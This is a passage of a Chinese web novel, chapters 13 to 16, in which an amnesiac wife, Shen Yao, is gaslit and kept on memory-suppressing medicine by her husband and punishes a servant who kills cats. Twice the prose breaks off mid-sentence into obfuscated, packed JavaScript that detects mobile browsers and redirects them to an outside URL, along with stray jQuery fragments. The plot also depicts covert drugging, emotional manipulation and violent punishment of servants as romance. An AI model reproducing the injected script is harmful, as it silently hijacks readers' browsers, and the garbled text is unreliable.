她好奇,“刚才你与那小孩儿说什么了?” 宋衍笑起来,“说有漂亮姐姐在一旁看着,男子汉若是在人家面前哭起来,以后会娶不到媳妇儿,得笑。” 沈遥哼得轻笑了一声,“尽会瞎说。” 她感受到手心发烫的温热,低头轻咬了一口,不同之前叶家姐妹的手艺,这个老板做的炊饼和自己比,有过之无不及。 “叶家姐妹呢?怎么老板换人了?” 那老板一怔,沉吟许久后,才道:“哦,你说的是这炊饼铺子前任的那两位啊,她们走啦。” 沈遥蹙眉,“走了?去了何处?为何要走?” “呃……这就说来话长了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181400|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反正那两人走了,这炊饼铺子就被某盘了下来。刚好家中做这行许久,难不成这位夫人觉得这炊饼不好吃?” 沈遥摇头,问:“你怎知我是夫人?并非其他身份?” 宋衍站在沈遥身后,眸光倏的一冷,炊饼老板扫过一眼后,打了个寒颤,才突然反应过来,“这不是夫人的男人在么?二位穿着华贵,又带着下人,不是夫人还是什么?也是某猜的,难不成……猜错了?” “没猜错。”沈遥转头朝着铺子扫视一圈,问:“之前在这铺子的猫儿呢?难不成被叶家姐妹带走了?” “猫?”那老板先愣神,而后立即道:“哦,哦,哦,你说那只猫啊,今儿跑出去玩儿了,还没回来呢。” “那只猫与我家猫很像,之前都是叶家姐妹在喂养,之后也麻烦老板多多照看。” “好,这是自然,某啊,也是最喜欢猫了。” 沈遥与那老板又随意闲扯了几句,终于在宋衍的催促下离开炊饼铺子。她脑海中浮现上次叶灵翻墙来寻自己的画面,总是有着说不出的诡异感,她一边思考着,也没了再继续逛的兴致。 这期间,宋衍与她说话,好几次都未听到,只是敷衍地随意“哦”了几声。 回到时府后,两人一同用过晚膳。 宋衍从来不需沈遥布菜伺候,只是见她一句话不说,依旧沉浸在思绪中,心底还是绷紧了一根弦。 锦书在两人下箸,上前收碗时,还颤颤巍巍打碎了一只白瓷碗。 沈遥被突然的破碎声吸引回神,看到锦书紧张地后退两步,低着头看不清神色,双手颤抖,“姑、姑爷夫人恕罪,是奴婢分心了。” 沈遥狐疑:“我不怪罪你,怕什么?” 锦书一怔,抬起头飞快扫了一眼宋衍,“奴婢只是今日疲累,心神恍惚,这就将碎碗清理干净。” 说着,她立刻上前,将碎裂的小碗捡起,瓷片还保留着较为完整的形态,并不难拾,只是她的手却克制不住地抖。 沈遥正要问话时,宋衍出声道:“诺诺今日吃的不多,是胃口不好?还是厨子做的不行?” 她回头看着面不改色的他,摇摇头,“或许是吃过那饼后,没这么饿了。” “诺诺今日似乎许多思虑,在想什么?” 沈遥看了一眼锦书离去的背影,“我只是在想那日叶灵没说完的话,说什么这个小镇不是我想象中这样,还叫我小心……” “沈遥。”宋衍连名带姓喊她,带着不达眼底的笑意,话语仍然温柔。 她扭过头看进他柔和,却又隐隐强势的眸子,第一次听他喊自己的全名,似乎很严肃。 “……怎么?” “叶家的事情已经过去了,她们姐妹也走了,她们想去何处是她们的自由,你何必执着。” 他声音沉稳,在慢慢诱导着她,“沈遥,你记错了,那日叶姑娘来寻你,就是为了与你告别的。你怎么又忘了?” “可是……我明明记得……” “正常点,好吗?”宋衍温声打断她,“郎中也说过,你自撞过头后,记性便愈发不好了,不然为何还要继续服药呢?” 宋衍脸不红,心不跳,声音依旧柔和,话语却带着不容置疑,眼神又那般坚定,沈遥说不出话了。 难道自己真的记错了? 他说:“那日叶灵跑来,除了逗弄你一番,还与你说过,她们要走,回陈州,你不舍却笑着送别,你全都忘了。诺诺,你是我唯一的家人,我所做的一切都是为了你,为何你还要为了一个外人忽视我呢?” “我、我没有。”沈遥被他的话彻底搞懵了。 她努力稳着,可想到最近确实记忆下降,连账本都记不住。上一刻看的东西,到了下一刻便忘了,又要翻回去重算。 而她,到了现在,都没能想起与夫君的更多过往。 她扫视一圈站在堂内的下人,即便众人弓腰低头,如今规矩得不行,可她脑海中还是忽然浮现出曾经丫鬟口中的“疯女人”三字。 得了离魂症的疯女人…… 宋衍面上露出痛苦神色,却仍在努力抑制着,“诺诺与我好不容易得今日相处时间,却一路都在想着外人,一句话也不与我说,这如何不是忽视?” “为夫每日早出晚归,都是为了有一日能给诺诺挣一个诰命夫人,此生无忧。无论诺诺想要什么,哪怕是我的命,我都会毫不犹豫给你。” “你以前明明很爱我的,可自失忆后,就彻底变了。这些都没关系,为夫可以忍着。” “可是诺诺,你真的看不到为夫的心么?” 14. 第 14 章 “……对不起,时衍,我真没这个意思。”沈遥告诉自己稳住,却还是心软让步,不去细想自己最近忘记的事儿,先安抚他再说。 她的夫君,真的好敏感。 沈遥说完这句话后,宋衍按着桌子起身,留下一句,“你好好歇着”,便头也不回离开屋子。 她咬唇,扣着丹蔻。没想到,自己无意间的举动竟伤害了夫君。 本以为夫君只是一时伤心,却没想到,这一走便是整整两日。 她夜晚会留下一盏小灯,却都没等到夫君来寻她,每夜都是撑不住才终于睡去。 直到两日后,沈遥听下人禀夫君归家早,直接去了书房。 沈遥没看她,这次先是敲了门,听到回应后才入内。 屋内有些许昏暗,灰尘在空气中飘动,她的夫君坐在书案前,看起来有些孤单落寞。 她慢慢走向他,其实脑海里想了许多哄他的话,竟一句也说不出。 宋衍低着头,翻着书页没看她,“夫人过来,是有何要事?” 好冷淡。 一点儿也不似往日温柔。 沈遥扯了扯他袖子,“还生气呢?好了,我以后定把你放在心上。” 宋衍低着头,将书合上,“那要放第一位。” “好,放第一位。” 他“嗯”了一声,终于抬头又看着她笑起来,“诺诺答应了的,不许食言。” 实在没想到,这人明明气了那么久,最后简单一句话,又把他哄笑了。 其实,他想要的,好像仅仅只是被她放在心上。 她抿唇,见状也不扭捏,坐得靠近他些,没有碰到他,两人衣料却轻轻摩挲在一起,挠得心痒。 宋衍僵了一下,见沈遥讨好似地将他面前的花茶斟满,推到面前。 他琢磨着她这意料内的反应,沉下一边的肩膀,将茶盏中的花茶一饮而尽。 天真又单纯的诺诺。 锦书手上端着刚煎好的药,来到书房,整个人又恢复了原样,不似前几日紧张到打碎瓷碗的模样。 她将黑乎乎的药放至沈遥面前,“夫人,该喝药了。” 沈遥撇开眼,长长叹了一声,“这药究竟得喝多久啊?” 宋衍将其抬在手中,吹凉,耐心道:“这药是帮着你恢复记忆的,郎中说还得继续再喝一阵。诺诺不想恢复记忆了?还是说,诺诺需要我继续陪着喝?” 沈遥耷拉着脑袋,认命地将吹凉的药接过,带着视死如归地表情,将药一饮而尽,扔下空碗后,立刻将提前备好的蜜饯扔到嘴里回甘。 宋衍也实在有些心疼,“不如我让郎中改改方子,不叫你吃这么苦的药。” “算了,其实已经习惯了。”沈遥咳了一声,阻止他,“苦口良药,要是改了方子,是否效果就不好了?” 宋衍看着她单纯的眸子,有些不自然地撇过头,“嗯”了一声。 沈遥实在受不了这味道,将一盘蜜饯纷纷下肚,才终于恢复了原始味觉。只是她忽然有些眼花,摇摇头后,又清明许多。 “今日出街有些疲了,我想回屋歇会儿。” 她撑着桌子起身,见夫君也跟着起来,只是刚站稳,眼又开始发花,头疼欲裂,耳边出现“嗡嗡”的耳鸣,手指冰凉。 “诺诺!你怎么了?” 她转头看宋衍焦急的模样,低笑着嘟囔了一声:“我没事儿。” 说完,然后两眼一黑,倒在他怀中晕了过去。 一切发生得太过突然,沈遥倒下后,还带着意识,能听到夫君满是焦急的呼喊。 楚绣正又端着一碗酥酪,见书房门开着,便直接入内,笑道:“参见爷,奴婢今儿特意做了……” “滚——”宋衍扭头看像门口不请自来的人,漆黑的眼中只一片冰冷死寂。 “……” 奇怪,明明只是一个眼神,楚绣感觉自己好似已经死了似的。 看着倒在爷怀中的夫人,她神色紧绷,着实震惊不已。明明爷两日未见夫人,她以为爷已经彻底厌弃了夫人。今日听到爷回来的消息,便马不停蹄往书房来,想趁机讨人欢心。 却没想到,迎接自己的竟是这般…… 宋衍横抱起沈遥上前,见这丫鬟挡在门口,没什么耐心冷淡道:“让开,再靠近书房一步,就滚出府。” 楚绣一惊,这才往旁挪了一步,看着原本温柔冷静的翩翩君子在暴怒,满是着急地在喊郎中来。 好像,一切都与她所以为的不同。她低头看着手中的酥酪,唇被自己牙咬出了血。 而寝室中,沈遥被放到床上后,半眯着眼,低喃着:“我好像没什么,就是没力气,头好痛。” 宋衍:“乖诺诺,郎中很快便来了,我不会让你有事。” 沈遥:“嗯,你别担心。”她反过来安慰他。 宋衍:“好。” …… 宋衍守在沈遥身旁许久,直到郎中看过后,才将人叫到外院书房,留下锦书继续悉心照料。 关上门后,他直问:“夫人身体如何?” 郎中弓腰站在远处,低着头不敢直视,“时爷,夫人今日的症状都是久日服药所致,小的最初便说过这药的弊处。” 宋衍问:“药还得吃多久?” 郎中回:“这药根据每个人的身体状况不同,用量也不同。根据小的今日的诊断,还得些时日。” “……不过时爷,如果担忧夫人受苦,也是可以停了药,如今恢复记忆的可能性只有三成。” 宋衍沉默地凝思,最后还是道:“继续服药,调整药方,将弊处降至最低。” “这……” “做不到?” “是,时爷。”郎中无奈应下,不敢有违,生怕惹恼了面前的男子。 在宋衍准许后,郎中忙不迭离开。 宋衍书房内亮着几盏灯,枯坐许久,直到其中一盏灯油燃尽,他才终于起身,一步步慢慢回到内院寝室。 宽大而封闭的拔步床上,沈遥已经熟睡过去。在她脚边舔毛的小橘看到宋衍身影,也没发声,只是跳下床,跑到他脚边磨蹭着。 宋衍蹲下将其抱起,摸着安抚一番后,又将它放回到沈遥身边。他也随之坐下,盯着她那张柔和的脸蛋。 “对不起。”宋衍声音细若蚊音,似乎连自己都没听到。 对不起,诺诺,阿姐。 他是个赌徒,敢赌权,也敢赌命。 可唯独沈遥,他不敢去赌丝毫,别说只有三成恢复记忆的可能,就算只有一成,他也不敢赌。 因他承担不了失去她的风险,若她想起一切,知晓他们身份,便会自然而然戳穿他所有谎言,看破他这张人皮之下,早已腐蚀烂透了的黑心。 诺诺嘴硬心软,却最是憎恶欺骗与控制,他比任何人都清楚这一点。 昨夜他梦魇,梦到恢复记忆的阿姐指着他鼻子怒骂,小人,禽兽,变态。她与他断绝所有关系,毅然而然地离开他们的“家”,只留下一阵冷风与无尽的黑暗。 他四处奔跑,却摸不到任何实物,连最后一丝微弱的烛光都不给他留下。 只要想到这个无比真实的梦境,他便汗毛直立,似有附骨之蛆,啃噬他的五脏六腑。 他太了解自己想要的是什么,他绝不能失去他的诺诺。 趁着沈遥在熟睡,他蹲下身子,悄悄俯身过去,落下一个浅浅的吻在她的手背。 仅此,不敢再有更多。 …… 沈遥这一觉睡了许久,醒来是因自己的右手手臂发麻,无法动弹丝毫。 “小橘,你又重了。”她闭眼迷糊低喃着,直到自己的左手摸到被褥中一团毛茸茸又软绵绵的东西,才倏然睁开眼。 她往右垂眸看去,见夫君直接坐在地上,趴在床边睡了过去,而自己的一整条右手臂被他抱在怀中,除了发麻,没了丝毫知觉。 沈遥没有立刻吵醒他,而是轻轻倾身靠近了几寸,细细观察着自己夫君熟睡的模样。 她记得昏倒时将他吓坏了。 成婚许久,她似乎从来没有好好地看过他。 他脸偏瘦,每一处五官都长得恰到好处,剑眉星目,睫毛很长,皮肤好到看不清毛孔,这样不说怪话的沉睡时刻,没有丝毫攻击或防御,却又总是不安,跟小橘很像,依赖她,又好乖。 她发现,她的夫君,这时候看起来好小,还是个心性未熟的少年。 似乎是她的目光化成了实质,宋衍眼皮微动,倏地睁开了双眼,望进了沈遥的双眸。 沈遥还没来得及收回目光,鼻尖靠得很近,她心头一跳,陡然间有些尴尬。 要不要这样? 哪儿有人睁眼醒来那么快的? 一点儿准备都不给…… 就算是夫君,也很尴尬的好吗? 沈遥想要躲开视线,已经来不及了,可是又不想一直与他对视,他真是一句话也不说,就这样看着她。 她脑子一转,即刻两眼一闭,又躺了回去装死猪。 宋衍看着她,在一旁笑出了声,最开始还抑制着,到了后来竟控制不住笑,用手将脸遮住,双肩颤抖,胸膛震动。 沈遥实在无奈,闭着眼睛,声音毫无起伏问他:“你要抱着我的手到什么时候,我的手已经没知觉了,再这样下去要废了。” 宋衍这才发觉,立刻起身放开了她,可脸上仍是难以憋住的笑意,他只能继续用手捂着,一脸无辜地看着她。 沈遥这才终于睁眼坐起身,甩了甩自己的右手,可仍然针扎般发麻。 “时衍,我的手真废了,你赔我。” 宋衍终于止了笑意,放下手,看着她认真道:“右手是吗?我现在就陪给你。” 沈遥觉得他又在逗自己,剜了他一眼,顺着他的话接下去:“对,就是右手,别陪错了,左手给我没用。” “嗯。 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宋衍很听话,快去快回,当他重新落座回她床边时,沈遥看他似乎又恢复了往日正常男人的模样。 她朝他身后够着头看了一眼,确认了没有一个和他夫君长得一模一样的双胞胎。 实在没想到,这傻子夫君,真有着好几张面孔。 忽然想到刚才他道歉的话,沈遥狐疑:“所以郎中怎么说的?你为何说我昨日那样都是因你?” 宋衍温柔笑笑,道:“郎中说与你颅内的淤血有关,这淤血又是那日迎亲时造成的,说到底,是我没能护好你。” 沈遥无奈摇头,正在此时,锦书敲响了寝室房门,在准许后,端着新煎好的药上前。 看到又是一碗黑乎乎的药,沈遥此刻宁愿做一只死猪,毕竟连开水都不怕,更何况一碗药。 宋衍看着她又是一笑,抬起药为她吹凉,又哄了她:“诺诺,乖,吃了药才能快些好起来。” 沈遥咬牙接过,一口气闷下,只是这次的药让她愣怔一番。 宋衍:“怎么了?吃蜜饯吗?” 说着他从一旁碟子中拿起蜜饯准备投喂她。 沈遥一时间没有张口,只是低头看着已经空了的药碗,疑惑道:“药的味道……又不一样了。” 宋衍的黑瞳微妙而快速地收缩了一下,“这都尝得出来?” “嗯,没那么苦了。换了方子?”沈遥舔了下唇,正张嘴时,又一颗蜜饯被塞到嘴中,面前的夫君淡笑着,她将那颗蜜饯咽下。 宋衍又朝她递来一颗蜜饯,厚颜无耻道:“难不成是为夫太甜了,让诺诺连吃药都不觉苦了。” 沈遥沉默,蹙眉,又问:“……你真是时衍?” 宋衍:“……” 沈遥:“你把时衍藏哪儿了?” 可很显然,沈遥的夫君只有一个。 长得这么好看的夫君,的确只有一个。 这么臭不要脸又两面三刀的夫君,真的只此一个。 自昏厥过后,郎中每日都例行来为沈遥问诊,药方每次也都有细微调整。他们告诉她,这样对症下药,可以帮助更快恢复记忆和身体。 这天晚上,沈遥将那本《长安异闻集》剩下部分看完后,难得地做了一个有夫君的梦。 屋外冰天雪地,水汽充满整个净室,沈遥坐在浴桶中享受着热浴带来的舒适。 忽然水面波动,恐怖的黑发散开,吓得沈遥心跳停了几拍。 正在此时,浴桶中水下骤然钻出了一个身材极佳,腹肌棱角分明的小厮,长着一张时衍的脸,带着少年气。 沈遥:“……” 他倾身到她耳边,呼吸喷薄而出,青筋鼓起,一口咬住她耳垂,让她浑身一抖,小厮温柔蛊惑道:“夫人,小的甜不甜?” “夫人,别怕,时爷不会发现的。” 沈遥害怕地浑身发冷,连温热的浴水都化成冰。 她竟没有反抗,任由这长着时衍脸的小厮对自己为所欲为。 倏然间,带着死亡气息的声音从后方传来,“诺诺,为夫对你这般纵容,你竟背着为夫行苟且之事!” 沈遥惊得转过头,见竟是另一带着男子气概的时衍,暴怒上前,将水中那小厮时衍一把拖出,扔到墙边,提着劈柴砍刀砍了个稀烂,而后转头将自己衣裳除去,跃入水中抓住想要逃跑的沈遥。 他钳制着她的后脖颈靠近自己,声音低沉入耳:“诺诺,你是不是想和那小厮私奔?别想了,为夫早识破了你们的奸.情。” “我的乖诺诺,不如让为夫吃了你,这样我们就能永远在一起了。诺诺想怎么个吃法?” “……” “这样?” “……” “还是这样?” “!!!” 15. 第 15 章 沈遥猛然惊醒,受到了极强的惊吓。 此时天还未全亮,再也无法入睡,她起床后无所事事来到院中转悠,平稳着心绪,到梨花院时被一晨练的声音所吸引。 往声音方向望去,是她的夫君。 宋衍光着膀子,褪去上衣的身体不壮也不瘦,刚刚好,肌线比想象中更加明显,他手持利剑,在梨树下挥劈着,招招式式都透露着犀利。 他或许不是刻意的,可晶莹汗液从深浅沟壑中顺流而下,再加上突然弹跳一瞬的胸肌,透着雄性动物求偶时的那股骚劲儿。 沈遥站在远处梨花树后抿唇,忽然又想起那个刺激又恐怖的梦。 在他发现看过来时,她不自然地扭头看着树枝上的花瓣与叶片。 宋衍一笑,将利剑收起,朝着沈遥而来,“今日这么早?” 沈遥看回他还喷薄着汗液的脸,面上情绪平平,“我平日起的也不算晚。” 宋衍又是低头一笑,很快将上扬的唇角压下。 沈遥瞪他一眼,低下头,脸上发出红晕,热得不行,也不晓得是因面前这散发着雄性气息的男人,还是因为那个怪梦。 她闭眼将脑海中的不贤之物通通驱逐,找着别的话题道:“不知为何,你的招式看起来好像有些熟悉。嗯,也不能说是熟悉,就是某种直觉……” 她说不太清,宋衍却听了个明白,与她道:“这是儿时诺诺教过我的。” 沈遥双眼一亮,“真的吗?我会功夫?” 宋衍附和了一声。 他还记得儿时第一次见到沈遥,小姑娘一脸嫌弃,在他面前持着木剑耍了一套剑法,自称天外飞仙,人剑合一,为了给他来个下马威。 结果她一个趔趄,倒是人剑合一了,只是那人成了剑。 小姑娘头肿了一个大包,疼红了眼,却仍然面不改色,故作镇定地朝他轻哼,最后扭头离去,高高束起的发甩到他脸上。 明明毫无攻击性,却让他第一次憋笑憋到想小解。 “嗯,岳父大人因着常年行走河西走廊,自是有些防身功夫傍身,他曾教过你。” “这样,那我功夫好到什么程度啊?” 宋衍见她眼下隐隐透露着惊喜又好奇,挑眉道:“嗯,挺好的。其实,诺诺功夫比我好。” 沈遥心底讶异,淡淡问:“我这么厉害?那和江湖大侠比起来呢?以我的能力,能去做个女将军么?” 说着,她捏了捏自己手臂上方的肌肉。 宋衍又忍不住笑了出来,胸膛震动,“做梦呢?” 沈遥:“……” 宋衍安慰道:“别难过,我的功夫刚好能打得过西街张麻子,诺诺比我厉害,那张麻子更是不在话下。” “不会说话就别说。”沈遥觉得他在通过自嘲来嘲讽她,“张麻子是个瘸子好吧。” 宋衍:“腿瘸,上身却也壮。” 沈遥:“别说张麻子了,你这练了一身肌肉,怎的反而跟个绣花枕头似的。” 宋衍一哽,听出来她在说自己中看不中用。 他连连道:“有用的,这身肌肉,许能持续很久。” “……” 沈遥从没见过这般孟浪之人,扭过头,不再理他了。 看着她转身离去的背影,宋衍叹气,松了刚才一直绷紧的肌肉,两三步上前跟上,讨好道:“诺诺可想练功夫?为夫教你。” “你教我啊?”沈遥压着唇角的笑意瞥他一眼,“绣花枕头?” 宋衍:“……” …… 宋衍随意指点了沈遥几次,她便很快找回感觉。 剑法招式不算复杂,很容易记住,可她发现自己力量跟不上这套剑法,许是这些时日懒惰的原因。 好吧,她不得不承认,确实只打得过西街的张麻子。 宋衍不在时府的白日,沈遥便用许多时间练习,试图找回那套功夫,而梨花树下是个练功的好地方。 梨花花期快结束了,这几日花瓣落得很快,洋洋洒洒,树下英女一身缺胯袍,头发高束,配简单金簪,动作流畅,与花瓣融为一体,颇有吞花卧酒的意境。 “夫人!”锦书忙不迭从远处转角跑来,面露急色。 沈遥收起木剑,一边拿出帕子擦汗,一边问:“怎么了?慢点儿说,别着急。” 锦书大口喘息着,道:“时府那个手脚不干净的人出现了!” 沈遥眸色一深:“是谁?” 锦书直起身子,“爷的人这些时日一直暗中盯着下人,今日在后罩房,又发现了动物尸体,再仔细一查,那手脚不干净的人其实是楚绣她娘,朱氏。” “朱氏现在在何处?” “后罩房。” 沈遥不打算等下去,持着木剑,直接带上锦书,又叫了两个家丁,气势汹汹直箭步往后罩房冲去。 后罩房住着时府多数女婢,楚绣和朱氏皆住此地,两人一间房,众奴仆们听到动静纷纷走出门观望。 朱氏房门紧闭着,沈遥喊了一声:“开门!” 门内没传出任何动静,直到她给家丁一个眼神,那人上去猛然一脚踹开木门,“砰”一声巨响,门闩断裂,掉落在地上,两扇木门悬挂在侧,惴惴不安晃动着。 众人吓得直接愣在原地,没想到平日和和气气的夫人,此时竟如此凶悍。 沈遥踱步而入,便闻到了一股血腥,让人在房内四处搜查,家丁们不仅翻出了两只干瘪的松鼠,甚至还找到了三只猫尸,看起来是来自外面的野猫。 四处转了一圈,沈遥留意到一铜盆内燃尽的余灰,其中还有一小片纸未被烧完,看起来像信。 她将其捡出,只见上面赫然写着“血鬼”二字,却不知整封信写得究竟为何。 她将那纸片收起,抬头望去,此时窗户大开,沿边还带着脚印,便知道朱氏定然翻窗跑了。她朝着窗沿往外一看,地上是被踩过的杂草。 跟随的三人还来不及问话,沈遥身体灵活,直接双手一撑,翻过了窗,“你们往门房方向走,我往这边,别让朱氏跑了。” 锦书没想到沈遥这般行动,立刻跑上前想跟上,却见窗台不矮,费了不少力才堪堪翻过,可人已经不在了。 沈遥顺着脚印往前寻找朱氏时,敏锐注意到一处荒芜之地发出的动静,本以为是那逃跑的仆妇,可走近后才发现,是管事在杖责一个小丫鬟。 施杖的家丁口中喊着数字,那丫鬟已经奄奄一息,趴在刑凳上一屁股血,连声音都发不出,管事却仍面不改色。 沈遥心感怪异,可怕朱氏跑了,便暂时未多理会,还是转脚继续去寻人。 可是当她绕了一圈和家丁汇合时,两方人都未见到朱氏。 家丁抹了一把额头的汗,“难不成真被这人给跑了?够快啊,跟兔子似的。” 沈遥静静环视着,目光忽然停留在一处杂草丛生的墙角,隐约有窸窸窣窣的声音。 她提着木剑走去,直指那处,厉声道:“出来!” 半晌没动静,这人见躲不过去,才慢悠悠从草丛中走出,果真是朱氏。 她吊着眉眼,一副懒散的神色朝着沈遥屈膝一点儿,带着一口鸭嗓:“见过夫人,老奴在此处做着除杂草的活计,不知夫人有何要事?” 虽众人曾被管事训过,面上尊重是尊重,可因着沈遥极少责罚人,便都认为她没爷在身旁时,其实也是个胆小怕事的。 沈遥冷冷睨她,“找你许久了,坏了府中规矩,你觉得自己还能安然无恙?” 朱氏低头轻蔑一笑,抬头后又道:“老奴可不知夫人在说甚。” 沈遥:“你房中的那些动物尸体,莫非以为众人眼瞎?” 朱氏抽抽着脸颊,最后咬牙道:“那是别人放老奴房中的,定有人嫉妒楚绣,想冤我们母女二人,夫人单纯,可莫要不分青红皂白,被有心人利用了去。” “那你刚才跑甚?” “老奴何曾跑了?一直在此地,夫人若没证据可不要冤枉人。”朱氏不服,相当固执,吃准了沈遥不敢随意责罚下人。 四周围观者定定看着,刚才那证据如此明显了,竟都拿不下这狡猾朱氏,夫人这样的性子,怕最终也是不了了之。 沈遥沉默盯着她片刻后,二话不说一剑劈下。 “诶哟!”被木剑劈中肩膀的朱氏直接滚在地上,啃得一嘴烂泥,面目狰狞。 而她一直藏着的手露了出来,满是血腥。 众人瞬间一片鸦雀无声。 沈遥朝家丁扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200783|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去一个眼神,对方收令后将地上的人绑了手又扔回房间。 朱氏挣扎着,杀猪般尖叫起来:“夫人!我女儿楚绣可是爷的人,就算咱们这些做奴婢的命贱,你要罚,不也得先看看爷的面子。” 沈遥提着木剑,挑起铺在地上的猫皮,蹙眉,就这样沉默着。耳朵被她吵得疼,沈遥又是朝着脊背一剑劈上去,朱氏“啊”地尖叫一声,可算是安静下来。 沈遥淡淡道:“是啊,说起楚绣,她人呢?” 朱氏声音顿住,立刻摇头,声音断断续续,“楚、楚绣、不、不知。” 沈遥轻轻瞥她一眼,将那纸片抵到她面前,问:“血鬼何意?” 朱氏一时凝滞,又猛得摇头道不知,“老奴真的不知啊,老奴从没见过这东西!” 沈遥没表示任何,想到当初将小橘交到楚绣手上,到如今还依旧后怕。 朱氏这时开始哭哭啼啼,沈遥无动于衷,转身离去,下令:“杖三十,不交代的话,继续杖三十。若叫我发现楚绣与这事儿有关系,同样不容。” “没有!没有关系!”朱氏心头一紧,立刻摇头。 说实话,虽为奴婢,时府生活却是极好的,再加之楚绣如今又入书房侍奉爷,自是想女儿替她去爷面前说几句话。 沈遥没再多看一眼朱氏,走出房间,往刚才杖刑奴婢的地方而去,可到了那地后,已经没了人影,只剩下被冲洗过的地面。 刚才被打的丫鬟,是犯了何罪?竟叫人往死里打,而她身为当家主母,却丝毫不知。 沈遥手指摩挲着,静静凝思。 “夫人!”一尖锐的声音打断了她的思绪,沈遥转身看去,见是满脸焦急的楚绣,从远处疾步而来。 沈遥知晓她为朱氏,并不想理会,只是踱步往前走,楚绣心底一急,快步上前将人拦下,“夫人!” 沈遥无言凝视着她,似乎是给了她说话的机会,在等待着。 楚绣双眼泛红,梨花带雨道:“求夫人饶恕奴婢阿娘,这板子应该受,可六十大板下去,人或许就没了啊。” 沈遥面无表情问:“血鬼何意?” 楚绣一时说不出话,蹙眉:“什么血鬼?” 沈遥说:“楚绣,你该庆幸,你暂且没参与到此事之中。” 楚绣还保持着屈膝的姿态,愣怔许久,最后终于直起身,看着神情冷淡的沈遥,问:“刑律是规定不可私下宰杀牛,可从来没规定过其他,不过就是几只松鼠和猫,有必要罚得如此重吗?” “重吗?”沈遥皱眉,“夫仁者,以天地万物为一体,恶能伤之?” 楚绣还想说什么,沈遥没忍住怒气打断:“楚绣,我知你是个乡野来的蛮妇,没念过书,可在时府,规矩就是规矩,没什么好说的。” “乡野蛮妇……”楚绣低喃,她一直以为,这沈遥是个柔弱的性子,却没想到如此强硬。 蓦地远处传来一阵凄惨尖叫,是她母亲,正受杖刑,随时间流逝,那声音一点点弱下去。 她苦笑起来,双眼通红又委屈地看着沈遥咬唇。 眼见无法改变,她实大恨,既然无可改变,无论如何也想要恶心沈遥一番。 她脸上原本可怜兮兮的表情瞬间荡然无存,“夫人是真厉害,奴婢说不过,也不敢说。在夫人眼中,我们这些做下人的本就不算人,与那些无反抗之力的牲畜无甚区别。” “可夫人,真以为爷待你以诚心么?” “夫人如今依仗不过是爷罢了,只是别怪奴婢没有提醒,满腔信任,是换不回真心的。” 沈遥皮笑肉不笑地开口:“怎么?还没真被收入房中,就着急代时衍说话了?” 楚绣垂眸,福身道:“夫人不是想知道刚才那小丫鬟为何被杖责吗?” 沈遥不解:“什么?” 楚绣说:“因为那小丫鬟今晨没有扔掉夫人的药渣,那杖刑是爷亲自下的。夫人身为掌管内院的主母,连下人的刑罚都被爷瞒着。” “你觉得我会信你?” “信不信当然任凭夫人。可以夫人的聪慧,必定能看出疑点。不过没将药渣扔掉罢了,何必如此大动干戈?” 沈遥没有说话,楚绣轻描淡写道:“看来,爷对夫人,隐瞒了不少事儿啊。” 16. 第 16 章 虽盛夏闷热,却阴云密布,不见丝毫阳光,热浪卷走空气,有些窒息。 沈遥看着身为下人的楚绣,冷道:“你觉得我在乎吗?” “楚绣,无论如何,我都是夫人,而你只是个丫鬟。” 楚绣一怔,死死咬着唇,带着怨气盯着她。 她还未说话,追上来的锦书忽然提高了嗓音,怒道:“楚绣!你刚才在胡说些甚!别忘了自己身份!若是让姑爷知晓你口中的疯话,你可知后果?” 满是怨气的楚绣听到时爷名号后,才忽然回过神,意识到刚才自己脑袋竟不清醒,发了昏。 她将视线从锦书脸上转到沈遥身上。 这位身着锦缎,头戴金簪的夫人,身子不似她们这些弓腰驼背的奴婢,永远站得最直,用着最好的霜膏,那双从不做活的柔荑,上面的肌肤细腻到弹指可破。 远处再次传来一声朱氏的惊呼,楚绣内心似浪潮翻滚,强装镇定地行礼,道了一声“夫人恕罪”,便往声音方向奔去。 锦书不满地看着楚绣匆匆离去的背影,讽道:“这丫鬟真是越来越没规矩,夫人还未准许,便擅自跑了。” “罢了。” “夫人啊……”锦书气不打一处来,想叫沈遥责罚楚绣,可转头看向她时,话语瞬间哽住。 沈遥目光带着审视,微微眯眼,盯着锦书面上神情,似能看破一切心虚。 “锦书,你不知么?” “……不知什么?”锦书低下头不敢直视沈遥视线,心跳如雷。 “不久前在这儿,那丫鬟被罚的原因,没处理的药渣,还有时衍瞒着我的事儿。” 锦书一直垂着脑袋,瞪大了双眼,猛地摇头,“夫人!那都是楚绣因她娘,恼羞成怒故意说些个疯话,来诓骗夫人,目的就是离间夫人与姑爷啊,夫人怎能相信那等贱婢的话?” 沈遥一直沉默,锦书等了许久不闻声音,立刻抬头,看回沈遥,举起三指,“奴婢发誓,奴婢所言绝无一丝弄虚作假,若违此誓,奴婢必遭……” “行了。”沈遥打断锦书的话,伸手将她举起的手轻轻压下,“多大点儿事儿,这么紧张,至于么?” “时衍平日待我如何,难不成我还得从他人口中听来?” “夫人?”锦书吃不准沈遥心思,可见她不再多问,松了口气。 “时衍今日何时归?你可知晓?”沈遥转身挪步,一边随意聊起。 锦书弓腰跟随,低着头恭道:“具体的时辰,奴婢不知,不过姑爷今晨离开时,提过会早些归家。” 沈遥回到寝室后,便说自己疲惫,用热水随意擦身,打发了锦书,一人留于房中小憩。 